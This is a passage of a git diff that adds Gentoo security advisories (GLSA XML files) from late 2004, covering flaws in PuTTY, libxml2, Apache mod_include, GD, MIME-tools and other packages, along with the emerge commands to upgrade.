+    authenticated user to execute arbitrary code on the target machine with
+    user rights, effectively bypassing any restriction of rssh.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All rssh users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-shells/rssh-2.2.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.pizzashack.org/rssh/security.shtml">rssh security announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1628">CVE-2004-1628</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 25 Oct 2004 13:31:44 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 Oct 2004 13:31:54 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 26 Oct 2004 13:24:10 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-29.xml b/xml/htdocs/security/en/glsa/glsa-200410-29.xml
new file mode 100644
index 00000000..81bf9e64
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-29.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-29">
+  <title>PuTTY: Pre-authentication buffer overflow</title>
+  <synopsis>
+    PuTTY contains a vulnerability allowing an SSH server to execute arbitrary
+    code on the connecting client.
+  </synopsis>
+  <product type="ebuild">putty</product>
+  <announced>October 27, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>69123</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/putty" auto="yes" arch="*">
+      <unaffected range="ge">0.56</unaffected>
+      <vulnerable range="le">0.55</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PuTTY is a free implementation of Telnet and SSH for Win32 and Unix
+    platforms, along with an xterm terminal emulator.
+    </p>
+  </background>
+  <description>
+    <p>
+    PuTTY fails to do proper bounds checking on SSH2_MSG_DEBUG packets. The
+    "stringlen" parameter value is incorrectly checked due to signedness
+    issues. Note that this vulnerability is similar to the one described in
+    GLSA 200408-04 but not the same.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    When PuTTY connects to a server using the SSH2 protocol, an attacker
+    may be able to send specially crafted packets to the client, resulting
+    in the execution of arbitrary code with the permissions of the user
+    running PuTTY. Note that this is possible during the authentication
+    process but before host key verification.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PuTTY users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/putty-0.56&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.idefense.com/application/poi/display?id=155">iDEFENSE Security Advisory 10.27.04</uri>
+    <uri link="http://www.chiark.greenend.org.uk/~sgtatham/putty/changes.html">PuTTY ChangeLog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1008">CVE-2004-1008</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 27 Oct 2004 15:40:45 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 27 Oct 2004 15:40:58 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 27 Oct 2004 16:43:51 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-30.xml b/xml/htdocs/security/en/glsa/glsa-200410-30.xml
new file mode 100644
index 00000000..2a05e645
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-30.xml
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-30">
+  <title>GPdf, KPDF, KOffice: Vulnerabilities in included xpdf</title>
+  <synopsis>
+    GPdf, KPDF and KOffice all include vulnerable xpdf code to handle PDF
+    files, making them vulnerable to execution of arbitrary code upon viewing a
+    malicious PDF file.
+  </synopsis>
+  <product type="ebuild">GPdf</product>
+  <announced>October 28, 2004</announced>
+  <revised>November 06, 2004: 02</revised>
+  <bug>68558</bug>
+  <bug>68665</bug>
+  <bug>68571</bug>
+  <bug>69936</bug>
+  <bug>69624</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/koffice" auto="yes" arch="*">
+      <unaffected range="ge">1.3.4-r1</unaffected>
+      <unaffected range="rge">1.3.3-r2</unaffected>
+      <vulnerable range="lt">1.3.4-r1</vulnerable>
+    </package>
+    <package name="app-text/gpdf" auto="yes" arch="*">
+      <unaffected range="ge">2.8.0-r2</unaffected>
+      <unaffected range="rge">0.132-r2</unaffected>
+      <vulnerable range="lt">2.8.0-r2</vulnerable>
+    </package>
+    <package name="kde-base/kdegraphics" auto="yes" arch="*">
+      <unaffected range="ge">3.3.1-r2</unaffected>
+      <unaffected range="rge">3.3.0-r2</unaffected>
+      <unaffected range="rge">3.2.3-r2</unaffected>
+      <vulnerable range="lt">3.3.1-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GPdf is a Gnome-based PDF viewer. KPDF, part of the kdegraphics package, is
+    a KDE-based PDF viewer. KOffice is an integrated office suite for KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    GPdf, KPDF and KOffice all include xpdf code to handle PDF files. xpdf is
+    vulnerable to multiple integer overflows, as described in GLSA 200410-20.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially-crafted PDF file,
+    potentially resulting in execution of arbitrary code with the rights of the
+    user running the affected utility.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GPdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=app-text/gpdf-0.132-r2"</code>
+    <p>
+    All KDE users should upgrade to the latest version of kdegraphics:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=kde-base/kdegraphics-3.3.0-r2"</code>
+    <p>
+    All KOffice users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=app-office/koffice-1.3.3-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200410-20.xml">GLSA 200410-20</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0888">CAN-2004-0888</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0889">CAN-2004-0889</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 26 Oct 2004 18:40:10 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 27 Oct 2004 10:09:49 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 28 Oct 2004 07:24:07 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-31.xml b/xml/htdocs/security/en/glsa/glsa-200410-31.xml
new file mode 100644
index 00000000..004e4949
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-31.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-31">
+  <title>Archive::Zip: Virus detection evasion</title>
+  <synopsis>
+    Email virus scanning software relying on Archive::Zip can be fooled into
+    thinking a ZIP attachment is empty while it contains a virus, allowing
+    detection evasion.
+  </synopsis>
+  <product type="ebuild">Archive::Zip</product>
+  <announced>October 29, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>68616</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-perl/Archive-Zip" auto="yes" arch="*">
+      <unaffected range="ge">1.14</unaffected>
+      <vulnerable range="lt">1.14</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Archive::Zip is a Perl module containing functions to handle ZIP
+    archives.
+    </p>
+  </background>
+  <description>
+    <p>
+    Archive::Zip can be used by email scanning software (like amavisd-new)
+    to uncompress attachments before virus scanning. By modifying the
+    uncompressed size of archived files in the global header of the ZIP
+    file, it is possible to fool Archive::Zip into thinking some files
+    inside the archive have zero length.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker could send a carefully crafted ZIP archive containing a
+    virus file and evade detection on some email virus-scanning software
+    relying on Archive::Zip for decompression.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Archive::Zip users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-perl/Archive-Zip-1.14&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.idefense.com/application/poi/display?id=153">iDEFENSE Security Advisory 10.18.04</uri>
+    <uri link="http://rt.cpan.org/NoAuth/Bug.html?id=8077">rt.cpan.org bug #8077</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1096">CVE-2004-1096</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 27 Oct 2004 12:10:39 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 27 Oct 2004 12:10:53 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 29 Oct 2004 12:32:54 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-01.xml b/xml/htdocs/security/en/glsa/glsa-200411-01.xml
new file mode 100644
index 00000000..beb03aaa
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-01.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-01">
+  <title>ppp: No denial of service vulnerability</title>
+  <synopsis>
+    pppd contains a bug that allows an attacker to crash his own connection,
+    but it cannot be used to deny service to other users.
+  </synopsis>
+  <product type="ebuild">ppp</product>
+  <announced>November 01, 2004</announced>
+  <revised>November 02, 2004: 02</revised>
+  <bug>69152</bug>
+  <access>remote</access>
+  <affected>
+  </affected>
+  <background>
+    <p>
+    ppp is a Unix implementation of the Point-to-Point Protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    The pppd server improperly verifies header fields, potentially leading to a
+    crash of the pppd process handling the connection. However, since a
+    separate pppd process handles each ppp connection, this would not affect
+    any other connection, or prevent new connections from being established.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    We incorrectly thought that this bug could be exploited to deny service to
+    all ppp users. It is not the case, this bug has no security impact
+    whatsoever. Many thanks to Paul Mackerras from the Samba team for
+    correcting our mistake.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no need for a workaround.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    ppp users can keep their current versions.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/379450">Incorrect BugTraq Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon,  1 Nov 2004 10:32:16 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon,  1 Nov 2004 10:32:28 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon,  1 Nov 2004 16:53:20 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-02.xml b/xml/htdocs/security/en/glsa/glsa-200411-02.xml
new file mode 100644
index 00000000..8e30e3d5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-02.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-02">
+  <title>Cherokee: Format string vulnerability</title>
+  <synopsis>
+    Cherokee contains a format string vulnerability that could lead to denial
+    of service or the execution of arbitary code.
+  </synopsis>
+  <product type="ebuild">cherokee</product>
+  <announced>November 01, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>67667</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/cherokee" auto="yes" arch="*">
+      <unaffected range="ge">0.4.17.1</unaffected>
+      <vulnerable range="le">0.4.17</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cherokee is an extra-light web server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Florian Schilhabel from the Gentoo Linux Security Audit Team found a
+    format string vulnerability in the cherokee_logger_ncsa_write_string()
+    function.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Using a specially crafted URL when authenticating via auth_pam, a
+    malicious user may be able to crash the server or execute arbitrary
+    code on the target machine with permissions of the user running
+    Cherokee.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cherokee users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/cherokee-0.4.17.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1097">CVE-2004-1097</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon,  1 Nov 2004 10:17:11 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon,  1 Nov 2004 11:49:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon,  1 Nov 2004 15:51:07 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-03.xml b/xml/htdocs/security/en/glsa/glsa-200411-03.xml
new file mode 100644
index 00000000..97902726
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-03.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-03">
+  <title>Apache 1.3: Buffer overflow vulnerability in mod_include</title>
+  <synopsis>
+    A buffer overflow vulnerability exists in mod_include which could possibly
+    allow a local attacker to gain escalated privileges.
+  </synopsis>
+  <product type="ebuild">apache</product>
+  <announced>November 02, 2004</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>68564</bug>
+  <access>local</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">1.3.32-r1</unaffected>
+      <vulnerable range="lt">1.3.32-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP server is one of the most popular web servers on the
+    internet. mod_include is an Apache module to handle Server Side Includes
+    (SSI).
+    </p>
+  </background>
+  <description>
+    <p>
+    A possible buffer overflow exists in the get_tag() function of
+    mod_include.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    If Server Side Includes (SSI) are enabled, a local attacker may be able to
+    run arbitrary code with the rights of an httpd child process by making use
+    of a specially-crafted document with malformed SSI.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=www-servers/apache-1.3.32-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0940">CAN-2004-0940</uri>
+    <uri link="http://www.apacheweek.com/features/security-13">Security vulnerabilities in Apache httpd 1.3</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 27 Oct 2004 10:11:41 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 29 Oct 2004 12:38:27 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  2 Nov 2004 11:16:30 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-04.xml b/xml/htdocs/security/en/glsa/glsa-200411-04.xml
new file mode 100644
index 00000000..215195af
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-04.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-04">
+  <title>Speedtouch USB driver: Privilege escalation vulnerability</title>
+  <synopsis>
+    A vulnerability in the Speedtouch USB driver can be exploited to allow
+    local users to execute arbitrary code with escalated privileges.
+  </synopsis>
+  <product type="ebuild">speedtouch</product>
+  <announced>November 02, 2004</announced>
+  <revised>November 02, 2004: 01</revised>
+  <bug>68436</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-dialup/speedtouch" auto="yes" arch="*">
+      <unaffected range="ge">1.3.1</unaffected>
+      <vulnerable range="lt">1.3.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The speedtouch package contains a driver for the ADSL SpeedTouch USB modem.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Speedtouch USB driver contains multiple format string vulnerabilities
+    in modem_run, pppoa2 and pppoa3. This flaw is due to an improperly made
+    syslog() system call.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A malicious local user could exploit this vulnerability by causing a buffer
+    overflow, and potentially allowing the execution of arbitrary code with
+    escalated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Speedtouch USB driver users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=net-dialup/speedtouch-1.3.1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0834">CAN-2004-0834</uri>
+    <uri link="http://speedtouch.sourceforge.net/index.php?/news.en.html">Speedtouch Project News Announcements</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 29 Oct 2004 08:13:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 29 Oct 2004 13:15:40 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  2 Nov 2004 13:27:33 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-05.xml b/xml/htdocs/security/en/glsa/glsa-200411-05.xml
new file mode 100644
index 00000000..260ac2bc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-05.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-05">
+  <title>libxml2: Remotely exploitable buffer overflow</title>
+  <synopsis>
+    libxml2 contains multiple buffer overflows which could lead to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libxml2</product>
+  <announced>November 02, 2004</announced>
+  <revised>November 02, 2004: 01</revised>
+  <bug>69154</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/libxml2" auto="yes" arch="*">
+      <unaffected range="ge">2.6.15</unaffected>
+      <vulnerable range="lt">2.6.15</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libxml2 is an XML parsing library written in C.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple buffer overflows have been detected in the nanoftp and nanohttp
+    modules. These modules are responsible for parsing URLs with ftp
+    information, and resolving names via DNS.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit an application that uses libxml2 by forcing it to
+    parse a specially-crafted XML file, potentially causing remote execution of
+    arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libxml2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=dev-libs/libxml2-2.6.15"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/379383">BugTraq Advisory</uri>
+    <uri link="http://www.xmlsoft.org/ChangeLog.html">libxml2 ChangeLog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0989">CAN-2004-0989</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 30 Oct 2004 16:39:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 31 Oct 2004 21:35:49 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon,  1 Nov 2004 23:01:51 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-06.xml b/xml/htdocs/security/en/glsa/glsa-200411-06.xml
new file mode 100644
index 00000000..c5c82bc1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-06.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-06">
+  <title>MIME-tools: Virus detection evasion</title>
+  <synopsis>
+    MIME-tools doesn't handle empty MIME boundaries correctly. This may prevent
+    some virus-scanning programs which use MIME-tools from detecting certain
+    viruses.
+  </synopsis>
+  <product type="ebuild">MIME-tools</product>
+  <announced>November 02, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>69181</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-perl/MIME-tools" auto="yes" arch="*">
+      <unaffected range="ge">5.415</unaffected>
+      <vulnerable range="lt">5.415</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MIME-tools is a Perl module containing functions to handle MIME
+    attachments.
+    </p>
+  </background>
+  <description>
+    <p>
+    MIME-tools doesn't correctly parse attachment boundaries with an empty
+    name (boundary="").
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker could send a carefully crafted email and evade detection on
+    some email virus-scanning programs using MIME-tools for attachment
+    decoding.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MIME-tools users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-perl/MIME-tools-5.415&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://lists.roaringpenguin.com/pipermail/mimedefang/2004-October/024959.html">MIMEDefang announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1098">CVE-2004-1098</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue,  2 Nov 2004 13:33:38 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  2 Nov 2004 13:34:00 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue,  2 Nov 2004 17:50:24 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-07.xml b/xml/htdocs/security/en/glsa/glsa-200411-07.xml
new file mode 100644
index 00000000..b7b2a8ca
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-07.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-07">
+  <title>Proxytunnel: Format string vulnerability</title>
+  <synopsis>
+    Proxytunnel is vulnerable to a format string vulnerability, potentially
+    allowing a remote server to execute arbitrary code with the rights of the
+    Proxytunnel process.
+  </synopsis>
+  <product type="ebuild">Proxytunnel</product>
+  <announced>November 03, 2004</announced>
+  <revised>November 03, 2004: 01</revised>
+  <bug>69379</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/proxytunnel" auto="yes" arch="*">
+      <unaffected range="ge">1.2.3</unaffected>
+      <vulnerable range="lt">1.2.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Proxytunnel is a program that tunnels connections to a remote server
+    through a standard HTTPS proxy.
+    </p>
+  </background>
+  <description>
+    <p>
+    Florian Schilhabel of the Gentoo Linux Security Audit project found a
+    format string vulnerability in Proxytunnel. When the program is started in
+    daemon mode (-a [port]), it improperly logs invalid proxy answers to
+    syslog.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious remote server could send specially-crafted invalid answers to
+    exploit the format string vulnerability, potentially allowing the execution
+    of arbitrary code on the tunnelling host with the rights of the Proxytunnel
+    process.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    You can mitigate the issue by only allowing connections to trusted remote
+    servers.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Proxytunnel users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=net-misc/proxytunnel-1.2.3"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0992">CAN-2004-0992</uri>
+    <uri link="http://proxytunnel.sourceforge.net/news.html">Proxytunnel News</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue,  2 Nov 2004 21:56:56 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed,  3 Nov 2004 09:32:39 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed,  3 Nov 2004 14:02:21 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-08.xml b/xml/htdocs/security/en/glsa/glsa-200411-08.xml
new file mode 100644
index 00000000..cc1a745f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-08.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-08">
+  <title>GD: Integer overflow</title>
+  <synopsis>
+    The PNG image decoding routines in the GD library contain an integer
+    overflow that may allow execution of arbitrary code with the rights of the
+    program decoding a malicious PNG image.
+  </synopsis>
+  <product type="ebuild">GD</product>
+  <announced>November 03, 2004</announced>
+  <revised>November 03, 2004: 01</revised>
+  <bug>69070</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/gd" auto="yes" arch="*">
+      <unaffected range="ge">2.0.32</unaffected>
+      <vulnerable range="lt">2.0.32</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The GD graphics library is an open source library which allows programmers
+    to easily generate PNG, JPEG, GIF and WBMP images from many different
+    programming languages.
+    </p>
+  </background>
+  <description>
+    <p>
+    infamous41md found an integer overflow in the memory allocation procedure
+    of the GD routine that handles loading PNG image files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to load a carefully crafted PNG image
+    file in a GD-powered application, or send a PNG image to a web application
+    which uses GD PNG decoding functions. This could potentially lead to
+    execution of arbitrary code with the rights of the program loading the
+    image.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GD users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=media-libs/gd-2.0.32"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/379382">Original BugTraq advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0990">CAN-2004-0990</uri>
